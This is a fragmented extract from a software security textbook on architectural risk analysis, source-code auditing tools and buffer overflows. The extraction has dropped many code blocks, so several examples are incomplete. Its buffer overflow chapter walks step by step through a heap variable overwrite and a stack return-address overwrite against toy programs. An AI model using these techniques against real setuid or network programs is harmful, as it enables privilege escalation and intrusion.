determining at each node whether something violates the criteria. If so, we
prune away that node and keep going. This is simple, as long as you know
enough to be able to make valid judgments.
Making valid judgments requires a good understanding of potential
attackers. It is important to know an attacker’s motivations, what risks the
system operator considers acceptable, how much money an attacker may be
willing to spend to break the system, and so on. If you’re worried about
governments attacking you, then much more of the attack tree will be
relevant than if you’re simply worried about script kiddies.
Unfortunately, building attack trees isn’t much of a science. Nor is
using them. Not surprisingly, attack trees can thus be put to more effective
use by experts than by novices. Expertise is needed to figure out how to
organize a tree. A broad knowledge of attacks against software systems is
required to come up with a tree that even begins to be complete. For example,
attacks discovered against the SSH protocol, version 1, in 2000 only get
covered at a high level in the tree shown in Figure 6–1 (see level 1.3). If we
know about a problem, it is easy to add it to the tree. Otherwise, a security
expert would be unlikely to find a previously unknown cryptographic prob-
lem simply by looking at an attack tree, but it is a good tool for determining
the kinds of possible weaknesses to pursue.
Putting exact numbers on the nodes is nontrivial and error prone. Again,
experience helps. In any case, it is always a good idea to have supporting
evidence for any decisions made when constructing the tree (or at least be
able to find supporting evidence when pressed).
The way we build attack trees is as follows. First we identify the data
and resources of a system that may be targeted. These are the goals in the
Architectural Security Analysis 125
attack tree. Then we identify all the modules, all the communication points
between the modules, and all the classes of users of the system. Together,
these tend to encompass the most likely failure points. We make sure to
include not just the software written in-house, but any shrink-wrapped
components used by the software. We also consider the computers on which
the software runs, the networks on which they participate, and so on.
Next we get the entire analysis team together in a room with a big white
board (assuming, of course, that they’re all familiar with the system at this
point). One person “owns” the white board, while everyone starts brain-
storming possible attacks. Often, people have thought of attacks before
coming into the room. This is the time to discuss their feasibility. Almost
without fail, people get new ideas on the spot, sparked by the conversation,
and thus new attacks may surface.
All possible attacks should make it up onto the white board, even if
you don’t think they’re going to be interesting to anyone. For example, you
may point out that someone from behind a firewall could easily intercept
the unencrypted traffic between an application server and a database, even
though the system requirements clearly state that this risk is acceptable. So
why note this down? Because we’re not worried about reporting results yet,
it is a good idea to be complete, especially because assessing risk is such an
inexact art. Give everyone involved access to everything, even though they
may only be producing a high-level report in the end.
As the brainstorming session winds down, work on organizing attacks
into categories. A rough attack tree can be created on the spot from the
board. At this point, divide up the parts of the attack tree between team
members, and have the team go off and flesh out their branches indepen-
dently. Also, have them “decorate” the branches with any information
deemed important for this analysis (usually estimated cost, estimated risk,
and estimated attack effort).
Finally, when everyone has fleshed out their part of the tree, someone
assembles the full tree, and another meeting is held to review it. Usually,
some minor tweaking occurs at this time. Sometimes, there will be a major
revision.
much detail). It’s good to assume that a development team and its manager
are destined to pick over your report with a fine-tooth comb.
The organization of risks can come directly from the attack tree. This
helps the report flow well. However, you shouldn’t expect that people will
want to read the report straight through. There are those who are interested
in knowing the biggest risks, who then read only about these. For this reason,
the risks should be ranked in terms of perceived risk for your audience. In
the beginning of the report, place a list of critically high risks, along with
forward references detailing where they are described. This kind of material
is great for an executive summary, which you should definitely provide.
Many times there are readers who don’t benefit from reading any further
than the executive summary anyway.
Within each section of the report, try to order risks from most signifi-
cant to least. At the beginning of your discussion of each risk, give a one-line
summary of how serious you think the risk is, including the estimated cost
of attack, estimated risk to the attacker, and estimated effort. Doing so helps
readers determine the parts of the report that are most important for them
to read.
For each identified risk, we like to provide three pieces of information.
The first is an overview of the attack. It describes the attack in sufficient
detail that someone without a security background can understand it. This
piece should also include information such as what resources an attacker
needs to launch a successful attack, the conditions under which an attack
will fail, and so forth. The second piece should be a discussion of the
consequences of a successful attack. It’s okay to project here. What is the
potential impact on the bottom line? Will there be brand damage? Will end
users be placed at unnecessary risk? Will data that should remain private
get out? What will the consequences be if so? The third piece should cover
mitigation techniques that discuss how a risk should be averted. Get as
specific as possible. Suggest specific changes to the architecture. Don’t
simply name a library that can help, describe how it can be used, and where
it could be integrated into the current design.
reliable way to get this done is by picking through the code by hand, and
trying to ensure that things are really implemented as in the design. This
task alone can be quite difficult and time-consuming because programs tend
to be vast and complex. It’s often a reasonable shortcut to ask the developers
specific questions about the implementation, and to make judgments from
there. This is a good time to perform a code review as part of the valida-
tion effort.
The second focus of implementation analysis involves looking for
implementation-specific vulnerabilities. In particular, we search for flaws that
are not present in the design. For example, things like buffer overflows never
show up in design (race conditions, on the other hand, may, but only rarely).
In many respects, implementation analysis is more difficult than design
analysis because code tends to be complex, and security problems in code
can be subtle. The large amount of expertise required for a design analysis
pales in comparison with that necessary for an implementation analysis.
Not only does the analyst need to be well versed in the kinds of problems
that may crop up, he or she needs to be able to follow how data flow
through code.
probably have plenty of ideas when it comes to the things you should be
looking for. Enumerating them all is difficult. For example, in most lang-
uages, you can look for calls that are symptomatic of time-of-check/time-of-
use (TOCTOU) race conditions (see Chapter 9). The names of these calls
change from language to language, but such problems are universal. Much
of what we look for consists of function calls to standard libraries that are
frequently misused.
When we identify places of interest in the code, we must analyze
things manually to determine whether there is a vulnerability. Doing this
can be a challenge. (Sometimes it turns out to be better to rewrite any
code that shows symptoms of being vulnerable, regardless of whether it
is. This is true because it is rare to be able to determine with absolute
certainty that a vulnerability exists just from looking at the source code,
because validation generally takes quite a lot of work.)
Occasionally, highly suspicious locations turn out not to be problems.
Often, the intricacies of code may end up preventing an attack, even if
accidentally! This may sound weird, but we’ve seen it happen. In our own
work we are only willing to state positively that we’ve found a vulnerability
if we can directly show that it exists. Usually, it’s not worth the time to go
through the chore of actually building an exploit (something that is incred-
ibly time-consuming). Instead, we say that we’ve found a “probable”
vulnerability, then move on. The only time we’re likely to build an exploit
is if some skeptic refuses to change the code without absolute proof (which
does happen).
This is the extent of our general guidelines for implementation audits.
It is worth noting that this strategy should be supplemented with thorough
code reviews. Scrutinize the system to whatever degree you can afford. Our
approach tends to do a very good job of finding common flaws, and doesn’t
take too long to carry out, but there are no guarantees of completeness.
■ RATS (Rough Auditing Tool for Security) is an open source tool that
can locate potential vulnerabilities in C, C++, Python, PHP, and Perl
programs. The RATS database currently has about 200 items in it.
RATS is available from http://www.securesw.com/rats/.
■ Flawfinder is an open source tool for scanning C and C++ code. Flaw-
finder is written in Python. At the time of this writing, the database
has only 40 entries. It is available from http://www.dwheeler.com/
flawfinder/.
■ ITS4 (It’s The Software, Stupid! [Security Scanner]) is a tool for scan-
ning C and C++ programs, and is the original source auditing tool for
security. It currently has 145 items in its database. ITS4 is available
from http://www.cigital.com/its4/.
if a tool could automate the real analysis of source that a programmer has
to do. Such tools do exist, but currently only in the research lab.
We expect to see these tools evolve, and to see better tools than these in
the near future. (In fact, we’ll keep pointers to the latest and greatest tools
on this book’s Web site.) Even if these tools aren’t perfect, though, they are
all useful for auditing. Additionally, these tools can even be integrated easily
with development environments such as Microsoft Visual Studio, so that
developers can get feedback while they code, not after.
rats -i *.c
This mode doesn’t know anything about inputs via a GUI, so we need to
find such places via manual inspection.
When we determine the internal input API of a program, we configure
RATS to scan for this API as well. We can either add database entries of our
own to our local copy of the RATS database or we can pass in function
names at the command line during future scans. Let’s say we found a
function read_line_from_socket and read_line_from_user. In a subsequent
scan we can add these functions to our search list as follows:
Running RATS in this mode (the default mode) should produce a lot of
output. By default, the output is ordered by severity, then function name.
The following shows a small piece of code:
buf[0] = 0;
for(i=2;i<argc;i++) {
strcat(buf, argv[i]);
if(getenv("PROGRAM_DEBUG")) {
fprintf(stderr, fmt, i, argv[i]);
}
}
if(argc > 2) {
f = fopen(argv[1], "a+");
start_using_file(f);
} else {
start_without_file();
}
In the output above, we first see that the code contains a stack-allocated
variable, which means that any buffer overflow that happens to be in the
code is likely to be exploitable (see Chapter 7).
132 Chapter 6 Auditing Software
Next in the output, we see two calls commonly associated with buffer
overflows: strcat and getenv. Here, strcat is used improperly, but the call
to getenv is not exploitable.
Finally, we see an stdio call where format strings are variables and are
not string constants. The general construct is at risk for format string attacks
(see Chapter 12). In this instance, though, the format string is completely
uninfluenced by user input, and thus is not a problem. RATS doesn’t know
any of this; all it knows is that an stdio function has been used where a
variable was passed as the format parameter.
The default mode only shows reasonably likely vulnerabilities. If we
pass the “-w 3” flag to RATS to show all warnings, we will see a call to
fopen that may be involved in a race condition. However, because this is
not reported in the default output, RATS couldn’t find a file check that
might match up to it, so it decides that there is a significant chance of this
call is not actually a problem (it’s hard to determine; there may need to be
checks around the fopen that aren’t performed. It depends on the context
of the program).
On a real program, RATS may produce hundreds of lines of output.
We can’t emphasize enough how important it is not to skim the output too
lightly, even when it seems like you’re only getting false hits. False hits are
common, but real vulnerabilities often lie buried in the list. Go as far
through the output as you have the time to go.
Also, if you don’t understand the issue a tool is raising, be sure to learn
as much as you can about the problem before you dismiss it. This book
should be a good resource for that.
Conclusion
Performing a security audit is an essential part of any software security
solution. Simply put, you can’t build secure software without thinking hard
about security risks. Our expertise-driven approach has been used success-
fully in the field for years and has resulted in much more secure software for
our clients. By leveraging source-code scanning tools, an architectural analy-
sis can be enhanced with an in-depth scan of the code. As the field of soft-
ware security matures, we expect to see even better tools become available.
This page intentionally left blank
Buffer Overflows
7
135
136 Chapter 7 Buffer Overflows
CERT Alerts
25
Buffer Overflows
20
15
10
0
1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999
Figure 7-1 The number of vulnerabilities resulting in CERT/CC advisories for the last 11
years. The number of vulnerabilities that can be directly attributed to buffer overflows is
also displayed. As the data show, the problem is not getting any better. In fact, buffer
overflows are becoming more common.
50%
40%
30%
20%
10%
0%
1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999
Figure 7-2 The prevalence of buffer overflows as a percentage of the most highly exploited
security problems (those resulting in CERT/CC advisories). Even though the problem is
solvable and is well understood, buffer overflows are still much too common.
reasons to use languages like C and C++, so learning how to avoid the
pitfalls is important.)
The root cause behind buffer overflow problems is that C is inherently
unsafe (as is C++).1 There are no bounds checks on array and pointer
references, meaning a developer has to check the bounds (an activity that is
often ignored) or risk problems. There are also a number of unsafe string
operations in the standard C library, including
■ strcpy()
■ strcat()
■ sprintf()
■ gets()
■ scanf()
1. Note that unsafe is a technical term that has to do with the way a language protects
memory and objects that it manipulates. For more, see [Friedman, 2001].
138 Chapter 7 Buffer Overflows
programming techniques (in C), and explain why certain system calls are
problematic and what to do instead. Finally we wrap up with a peek under
the hood that shows how a buffer overflow attack does its dirty work on
particular architectures.
2. Whether the stack grows up (toward higher memory addresses) or down (toward lower
memory addresses) is also an important consideration, because upward-growing stacks tend
to be less vulnerable to overflows. However, they are also rarely used.
Why Are Buffer Overflows a Security Problem? 139
idea has some merit, but is still a very risky proposition. For one thing, you
never know which oblivious user is going to take your program and set the
suid bit on the binary. When people can’t get something to work properly,
they get desperate. We’ve seen this sort of situation lead to entire directories
of programs needlessly set setuid root.
Also, anything run when an administrator is logged in as root will have
root privileges, such as install programs for software packages.3 This tends
not to be very applicable here; it is usually easier to get root to run your
own binary than to get root to pass inputs to a flawed program with a
buffer overflow, because the latter requires finding or crafting an exploit.
There can also be users of your software that have no privileges at all.
This means that any successful buffer overflow attack gives them more
privileges than they previously had. Usually, such attacks involve the net-
work. For example, a buffer overflow in a network server program that can
be tickled by outside users can often provide an attacker with a login on the
machine. The resulting session has the privileges of the process running the
compromised network service. This sort of attack happens all the time.
Often, such services run as root (and often, for no really good reason other
than to make use of a privileged low port). Even when such services don’t
run as root, as soon as a cracker gets an interactive shell on a machine, it is
usually only a matter of time before the machine is completely “owned.”
That is, before the attacker has complete control over the machine, such as
root access on a UNIX box or administrator access on an NT box. Such
control is typically garnered by running a different exploit through the
interactive shell to escalate privileges.
3. This problem is why root should not have the current directory in its command path,
especially early in its command path, because root may be tricked into running a Trojan horse
copy of ls that resides in the /tmp directory.
142 Chapter 7 Buffer Overflows
even programs written today tend to make use of these calls because
developers are rarely taught not to do so. Some people pick up a hint here
and there, but even good hackers can screw up when using homegrown
checks on the arguments to dangerous functions or when incorrectly
reasoning that the use of a potentially dangerous function is “safe” in
some particular case.
Never use gets(). This function reads a line of user-typed text from
the standard input and does not stop reading text until it sees an end-of-file
character or a newline character. That’s right; gets() performs no bounds
checking at all. It is always possible to overflow any buffer using gets().
As an alternative, use the method fgets(). It can do the same things gets()
does, but it accepts a size parameter to limit the number of characters read
in, thus giving you a way to prevent buffer overflows. For example, instead
of the following code:
void main() {
char buf[1024];
gets(buf);
}
void main() {
char buf[BUFSIZE];
fgets(buf, BUFSIZE, stdin);
}
Major Gotchas
There are a bunch of standard functions that have real potential to get you
in trouble, but not all uses of them are bad. Usually, exploiting one of these
functions requires an arbitrary input to be passed to the function. This list
includes
■ strcpy()
■ strcat()
■ sprintf()
■ scanf()
■ sscanf()
Major Gotchas 143
■ fscanf()
■ vfscanf()
■ vsprintf()
■ vscanf()
■ vsscanf()
■ streadd()
■ strecpy()
■ strtrns()
We recommend you avoid these functions if at all possible. The good news
is that in most cases there are reasonable alternatives. We go over each one
of them, so you can see what constitutes misuse, and how to avoid it.
The strcpy() function copies a source string into a buffer. No specific
number of characters are copied. The number of characters copied depends
directly on how many characters are in the source string. If the source string
happens to come from user input, and you don’t explicitly restrict its size,
you could be in big trouble! If you know the size of the destination buffer,
you can add an explicit check:
This function doesn’t throw an error if src is bigger than dst; it just stops
copying characters when the maximum size has been reached. Note the –1
in the call to strncpy(). This gives us room to put a null character in at the
end if src is longer than dst. strncpy() doesn’t null terminate when the
src parameter is at least as long as the destination buffer.
Of course, it is possible to use strcpy() without any potential for security
problems, as can be seen in the following example:
strcpy(buf, "Hello!");
144 Chapter 7 Buffer Overflows
Even if this operation does overflow buf, it only does so by a few characters.
Because we know statically what those characters are, and because those
characters are quite obviously harmless, there’s nothing to worry about here
(unless the static storage in which the string "Hello!" lives can be over-
written by some other means, of course).
Another way to be sure your strcpy() does not overflow is to allocate
space when you need it, making sure to allocate enough space by calling
strlen() on the source string. For example,
Code like this is encountered fairly often. It looks harmless enough. It creates a
string that knows how the program was invoked. In this way, the name of the
binary can change, and the program’s output automatically reflects the change.
Nonetheless, there’s something seriously wrong with the code. File systems
tend to restrict the name of any file to a certain number of characters. So you’d
think that if your buffer is big enough to handle the longest name possible,
your program would be safe, right? Just change 1024 to whatever number is
Major Gotchas 145
right for our operating system and we’re done, no? No. We can easily subvert
this restriction by writing our own little program to start the previous one:
void main() {
execl("/path/to/above/program",
<<insert really long string here>>,
NULL);
}
The function execl() starts the program named in the first argument. The
second argument gets passed as argv[0] to the called program. We can
make that string as long as we want!
So how do we get around the problems with {v}sprintf()? Unfor-
tunately, there is no completely portable way. Some implementations pro-
vide an snprintf() method, which allows the programmer to specify the
maximum number of characters to copy into the buffer. For example, if
snprintf was available on our system, we could fix the previous example to
read:
Many (but not all) versions of {v}sprintf() come with a safer way
to use the two functions. You can specify a precision for each argument
in the format string itself. For example, another way to fix the broken
sprintf() is
Notice the .1000 after % and before s. The syntax indicates that no more
than 1,000 characters should be copied from the associated variable (in this
case, argv[0]).
Another solution is to package a working version of snprintf() along
with your code. One is available at this book’s Web site.
146 Chapter 7 Buffer Overflows
If the scanned word is larger than the size of buf, we have an overflow
condition. Fortunately, there’s an easy way around this problem. Consider
the following code, which does not have a security vulnerability:
The 255 between % and s specifies that no more than 255 characters from
argv[0] should actually be stored in the variable buf. The rest of the match-
ing characters are not copied.
Next we turn to streadd() and strecpy(). Although not every
machine has these calls to begin with, programmers who have these
functions available to them should be cautious when using them. These
functions translate a string that may have unreadable characters into a
printable representation. For example, consider the following program:
#include <libgen.h>
\t\n
instead of printing all white space. The streadd() and strecpy() func-
tions can be problematic if the programmer doesn’t anticipate how big the
output buffer needs to be to handle the input without overflowing. If the
Internal Buffer Overflows 147
input buffer contains a single character, say, ASCII 001 (a control-A), then
it will print as four characters, \001. This is the worst-case sort of string
growth. If you don’t allocate enough space so that the output buffer is
always four times larger than the size of the input buffer, a buffer over-
flow is possible.
Another less common function is strtrns() (many machines don’t have
it). strtrns() takes as its arguments three strings and a buffer into which a
result string should be stored. The first string is essentially copied into the
buffer. A character gets copied from the first string to the buffer, unless that
character appears in the second string. If it does, then the character at the
same index in the third string gets substituted instead. This sounds a bit
confusing. Let’s look at an example that converts all lowercase characters
into uppercase characters for argv[1]:
#include <libgen.h>
The code doesn’t contain a buffer overflow, but if we had used a fixed-size
static buffer, instead of using malloc() to allocate enough space to copy
argv[1], then a buffer overflow condition may have arisen.
char buf[1024];
int i = 0;
char ch;
while((ch = getchar()) != '\n') {
if(ch == –1) break;
buf[i++] = ch;
}
Here, the programmer has made the exact same mistake made in the design
of gets(). Any function that you can use to read in a character can fall prey
to this problem, including getchar(), fgetc(), getc(), and read().
The moral of the buffer overflow problem in general is reinforced in this
example. Always do bounds checking.
It’s too bad that C and C++ don’t do bounds checking automatically,
but there is a good reason why they don’t. The price of bounds checking
is efficiency. In general, C favors efficiency in most tradeoffs. The price of
this efficiency gain, however, is that C programmers have to be on their toes
Other Risks 149
and extremely security conscious to keep their programs out of trouble; and
even then, keeping code out of trouble isn’t easy.
In this day and age, argument checking isn’t too big an efficiency hit.
Most applications never notice the difference. So always bounds check.
Check the length of data before you copy them into your own buffers. Also
check to make sure you’re not passing overly large data to another library,
because you can’t trust other people’s code either! (Recall the internal buffer
overflows we talked about earlier.)
Other Risks
Unfortunatley, the “safe” versions of system calls (such as strncpy() as
opposed to strcpy()) aren’t completely safe. There’s still a chance to mess
things up. Even the “safe” calls can sometimes leave strings unterminated
or can encourage subtle off-by-one bugs. And, of course, if you happen to
use a result buffer that is smaller than the source buffer, you may find your-
self hosed.
These mistakes tend to be harder to make than everything else we’ve
talked about so far, but you should still be aware of them. Think carefully
when you use this type of call. Lots of functions misbehave if you’re not
keeping careful track of buffer sizes, including bcopy(), fgets(), memcpy(),
snprintf(), strccpy(), strcadd(), strncpy(), and vsnprintf().
Another system call to avoid is getenv(). The biggest problem with
getenv() is that you should never assume that a particular environment
variable is of any particular length. Environment variables are always
worth thinking about carefully.
So far we’ve given you a big laundry list of common C functions that
are susceptible to buffer overflow problems. There are certainly many more
functions with the same problems. In particular, beware of third-party shrink-
wrapped software. Don’t assume anything about the behavior of someone
else’s software. Also, note that because we haven’t carefully scrutinized every
common library on every platform (we sure wouldn’t want to take on that
job), there’s no guarantee that more problematic calls don’t exist. Even if we
had looked over every common library everywhere, you should be very
skeptical should we try to claim we’ve listed all the problem functions you’ll
ever encounter. What we have given you is a good running start. The rest is
up to you.
150 Chapter 7 Buffer Overflows
program (such as the standard libraries) can still open the door to stack-
based exploits.
Tools similar to Stackguard in terms of what they do include memory
integrity checking packages such as Rational’s Purify. This sort of tool can
even protect against heap overflows. However, Purify is generally not used
in production code because of the performance overhead.
Another technique is to replace vulnerable calls with “safe” versions.
This is the approach of libsafe [Baratloo, 2000]. This approach only works
database of your favorite software security source scanner.
Table 7–1 summarizes the programming constructs we’ve suggested you
use either with caution or avoid altogether. For more constructs, consult the
database of your favorite software security source scanner..
In contrast to static memory, the heap and the stack are dynamic,
meaning they can grow as the program executes. These size changes are a
direct result of runtime memory allocation. There are two types of runtime
memory allocation: stack allocation and heap allocation. The programmer
interface to the heap varies by language. In C, the heap is accessed via
malloc() (and other related functions). In C++, the new operator is the
programmer’s interface to the heap.
Stack allocation is handled automatically for the programmer whenever
a function gets called. The stack holds information about the context of the
current function call. The container for this information is a continuous
4. Some compilers may put to_match in read-only memory. Making to_match “static
const” should make it read-only in most places.
Heap Overflows 155
Heap Overflows
Heap overflows are simple in theory, but exploiting a heap overflow is
difficult for an attacker, for many reasons. First, the attacker has to figure
out which variables are security critical. This process is often extremely
difficult, especially when a prospective attacker doesn’t have source code.
Second, even when security-critical variables are identified, the attacker has
to come up with a buffer that can overflow in such a way that it overwrites
the target variable. This generally means the buffer needs to have a lower
memory address than the target variable (otherwise, there’s no way to
overflow up into the variable address space). Operating system version or
library version changes make heap overflows even harder to exploit.
Let’s look at an example. Consider an x86 machine running Linux. Here’s
a silly little program, really just a program fragment, from which we’ll start:
if(argc > 1)
strcpy(str, argv[1]);
else
strcpy(str, "xyz");
}
Pretend this program runs with root privileges. Note that we can see the
source code, and also notice that super_user is an important variable some-
where in the program. This means that if we can overwrite it, we can
potentially manipulate the program to do bad things. Can we overwrite the
variable? To start off, we may guess that super_user is placed right after
str in memory. Our initial mental model looks something like that
contained in Table 7–2.
But who’s to say super_user doesn’t come before str? And who’s to
say they’re even placed together in memory? Our intuition is based on the
order we see things textually in the program. Unfortunately for budding bad
guys, a compiler does not have to respect the order of appearance in code.
So, what’s the answer?
Let’s copy the program to our own directory and start playing around
with it. Let’s modify the program to print out the address of these two buffers:
In this case, super_user does follow str, so that’s a good sign. They’re
not placed right next to each other, though, which may come as a bit of a
surprise. Let’s go ahead and print out all the memory at the end of the code
snippet from the start of str to the end of super_user by making the
following modification to our version of the code:
strcpy(super_user, "viega");
if(argc > 1)
strcpy(str, argv[1]);
else
strcpy(str, "xyz");
tmp = str;
while(tmp < super_user + 9) {
printf("%p: %c (0x%x)\n", tmp, isprint(*tmp) ? *tmp : '?',
(unsigned int)(*tmp));
tmp += 1;
}
}
The %p argument in the printf format string causes tmp to be printed out as
a pointer to memory in hexidecimal. %c prints out 1 byte as a character. %x
prints out an integer in hexidecimal. Because the value of the elements in
tmp are shorter than integers and may get sign extended if not treated as
unsigned quantities (for example, char 0x8A would turn into 0xFFFFFF8A if
treated as a signed int), we need to cast them into unsigned ints, so that
everything prints out properly.
158 Chapter 7 Buffer Overflows
If we run the program with no arguments, a typical result looks like this:
Observe that 4 bytes are reserved for str (which occurs 12 bytes before
the variable super_user begins). Let’s try to overwrite the value of super_
user with mcgraw. To do this, we pass an argument to the program on the
command line, which gets copied into str. Run the program like so:
./a.out xyz...........mcgraw
We can’t put spaces or nulls in the string very easily through our simple
command-line interface. In this case, we pad it with periods, which is suffi-
Stack Overflows 159
cient. A better way to insert periods in input is to call our program with
another program. The calling program can construct any string it wants, and
can pass arbitrary arguments to the program it invokes via execv (or some
similar function), with the sole exception that nulls cannot be embedded in
the string. We do this sort of thing later when we consider stack overflows.
We’ve successfully overflowed a heap variable. Notice that we ended up
having to write over some “in-between” space. In this case, our stomping
around in memory didn’t cause us problems. In real programs, though, we
may be forced to overwrite data that are crucial to the basic functioning of
the program. If we do things wrong, the program may crash when it hits the
“middle” data we overwrote before the malicious data we placed on the
heap gets used. This would render our attack useless. If our stomping around
causes problems, we have to be sure to find out exactly what data we need
to leave alone on the heap.
Developers need to keep heap overflow in mind as a potential attack.
Although heap overflows are harder to exploit, they are common and they
really can be security problems. For example, near the end of 2000, an
exploitable heap overflow was found in the Netscape Directory Server.
Stack Overflows
The main problem with heap overflows is that it is hard to find a security-
critical region to overwrite just so. Stack overflows are not as much of a
challenge. That’s because there’s always something security critical to
overwrite on the stack—the return address.
Here’s our agenda for a stack overflow:
1. Find a stack-allocated buffer we can overflow that allows us to
overwrite the return address in a stack frame.
2. Place some hostile code in memory to which we can jump when the
function we’re attacking returns.
3. Write over the return address on the stack with a value that causes
the program to jump to our hostile code.
First we need to figure out which buffers in a program we can overflow.
Generally, there are two types of stack-allocated data: nonstatic local
variables and parameters to functions. So can we overflow both types of
data? It depends. We can only overflow items with a lower memory address
than the return address. Our first order of business, then, is to take some
function, and “map” the stack. In other words, we want to find out where
160 Chapter 7 Buffer Overflows
the parameters and local variables live relative to the return address in
which we’re interested. We have to pick a particular platform. In this
example, we examine the x86 architecture.
void test(int i) {
char buf[12];
}
int main() {
test(12);
}
The test function has one local parameter and one statically allocated
buffer. To look at the memory addresses where these two variables live (rela-
tive to each other), let’s modify the code slightly:
void test(int i) {
char buf[12];
printf("&i = %p\n", &i);
printf("&buf[0] = %p\n", buf);
}
int main() {
test(12);
}
A typical execution for our modified code results in the following output:
&i = 0xbffffa9c
&buf[0] = 0xbffffa88
Now we can look in the general vicinity of these data, and determine
whether we see something that looks like a return address. First we need to
have an idea of what the return address looks like. The return address will
be some offset from the address of main(). Let’s modify the code to show
the address of main():
void test(int i) {
char buf[12];
Stack Overflows 161
int main() {
test(12);
}
char *j;
int main();
void test(int i) {
char buf[12];
printf("&main = %p\n", &main);
printf("&i = %p\n", &i);
printf("&buf[0] = %p\n", buf);
for(j=buf-8;j<((char *)&i)+8;j++)
printf("%p: 0x%x\n", j, *(unsigned char *)j);
}
int main() {
test(12);
}
Note that to get 8 bytes beyond the start of the variable i we have to
cast the variable’s address to a char *. Why? Because when C adds eight
to an address, it really adds eight times the size of the data type it thinks is
stored at the memory address. This means that adding eight to an integer
pointer is going to bump the memory address 32 bytes instead of the desired
8 bytes.
Now what we are trying to determine is whether anything here looks
like a return address. Remember, a memory address is 4 bytes, and we’re
only looking at things 1 byte at a time. This is okay, but we still don’t know
the range in which we should be looking. How can we figure out the range
where the return address will be? One thing we do know is that the program
will return to the main() function. Maybe we can get the address of the
162 Chapter 7 Buffer Overflows
main function, print that out, and then look for a pattern of four consec-
utive bytes that are pretty close.
Running this program results in output looking something like this:
5. By the way, we find it easier to do these kinds of things by printing out memory from a
debugger. However, we feel that it’s more conducive to figuring out what’s really going on to
do it the hard way.
Stack Overflows 163
these bytes to be right side up, then starting at byte 0xbffffa9c we’d expect
to see
0xbffffa9c: 0x0
0xbffffa9d: 0x0
0xbffffa9e: 0x0
0xbffffa9f: 0xc
But on this architecture we see the bytes in the reverse order. To recap,
if we print out the variable as a single 32-bit quantity in hexadecimal, we get
0xc (12), and not 0xc000000 (201326592 unsigned). But, if we dump the
memory, this is not what we see.
Reassembling the 4 bytes of the return address, we get 0x80484f6,
which is 10 bytes past the start of main(). So now let’s map out the stack
starting at the beginning of buf (0xbffffa88):
0xbffffa94: 0xa0
0xbffffa95: 0xfa
0xbffffa96: 0xff
0xbffffa97: 0xbf
main (it was called from the standard library), so the fact that 0x000000 is
the value of that word should come as no surprise.
After all this work, we now have a pretty good idea about what a stack
frame looks like:
Low address
Local variables
The old base pointer
The return address
Parameters to the function
High address
The stack grows toward memory address 0, and the previous stack frame is
below the function parameters.
Now we know that if we overflow a local variable, we can overwrite the
return address for the function we’re in. We also know that if we overflow a
function parameter, we can overwrite the return address in the stack frame
below us. (There always is one, it turns out. The main function returns to
some code in the C runtime library.) Let’s test out our newfound knowledge
using the following toy program:
for(i=1;i<argc;i++) {
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc) {
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
}
Just for the sake of learning, let’s pretend that our little program is
installed setuid root; meaning, if we can overflow a buffer and install some
code to get a shell we should end up with root privileges on the machine.
The first thing we’ll do is copy the program over to our own directory where
we can experiment with it.
To begin, note that we can overflow the buffer buf and overwrite the
return address. All we have to do is pass more than 20 characters in on the
command line. How many more? Based on our previous exploration of the
stack, we may guess that there are 20 bytes for buf, then 4 bytes for p and
then 4 more bytes for i. Next, there should be 4 bytes storing the old base
pointer, and finally, the return address. So we expect the return address to
start 32 bytes past the beginning of buf. Let’s make some modifications, and
see if our assumptions are correct.
We’ll start by printing out the relative positions of buf, p, and i. With
some minor modification to the code, you may get something like
./a.out foo
foo
&p = 0xbffff8d8
&buf[0] = 0xbffff8dc
&i = 0xbffff8d4
It turns out that p and i are both placed at lower memory addresses
than buf. This is because the first argument is allocated first on the stack.
The stack grows toward smaller memory addresses. This means that we
should expect the return address to be 24 bytes past the start of buf. We can
inspect the stack in detail, like we did before, to be certain. (Amazingly, this
assumption turns out to be correct.)
Let’s get rid of the code that prints out the value of our variables, and
print out the address of concat_arguments instead. We modify the code as
follows:
for(i=1;i<argc;i++) {
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc) {
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
printf("%p\n", &concat_arguments);
}
foo bar
0x80484d4
Now we need to call the program in such a way that we overwrite the
return value with 0x80484d4.
Somehow we have to put arbitrary bytes into our command-line input.
This isn’t fun, but we can do it. Let’s write a little C program to call our
code, which should make our life a bit easier. We need to put 24 bytes in our
buffer, then the value 0x800484d4. What bytes shall we put in the buffer?
For now, let’s fill it with the letter x (0x78). We can’t fill it with nulls (0x0),
because strcpy won’t copy over our buffer if we do, because it stops the
first time it sees a null. So here’s a first cut at a wrapper program, which we
place in a file wrapconcat.c:
Stack Overflows 167
int main() {
char* buf = (char *)malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
arr[0] = "./concat";
arr[1] = buf;
arr[2] = 0x00;
execv("./concat", arr);
}
Remember, we have to put the 4 bytes of our address into the buffer in little-
endian order, so the most significant byte goes in last.
Let’s remove our old debugging statement from concat.c, and then
compile both concat.c and wrapconcat.c. Now we can run wrapconcat.
Unfortunately, we don’t get the happy results we expected:
$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx·
Segmentation fault (core dumped)
$
What went wrong? Let’s try to find out. Remember, we can add code
to the concat_arguments function without changing the address for that
function. So let’s add some debugging information to concat.c:
printf("Entering concat_arguments.\n"
"This should happen twice if our program jumps to the "
"right place\n");
for(i=1;i<argc;i++) {
printf("i = %d; argc = %d\n");
strcpy(p, argv[i]);
168 Chapter 7 Buffer Overflows
p+=strlen(argv[i]);
if(i+1 != argc) {
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
}
Running this code via our wrapper results in something like the
following output:
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
i = 2; argc = 32
Segmentation fault (core dumped)
$
Why did argc jump from 2 to 32, causing the program to go through the
loop twice? Apparently argc was overwritten by the previous strcpy. Let’s
check our mental model of the stack:
Lower addresses
i (4 bytes)
p (4 bytes)
buf (20 bytes)
Old base pointer (4 bytes)
Return address (4 bytes)
argc (4 bytes)
argv (4 bytes)
Higher addresses
Actually, we haven’t really looked to see if argc comes before argv. It
turns out that it does. You can determine this by inspecting the stack before
Stack Overflows 169
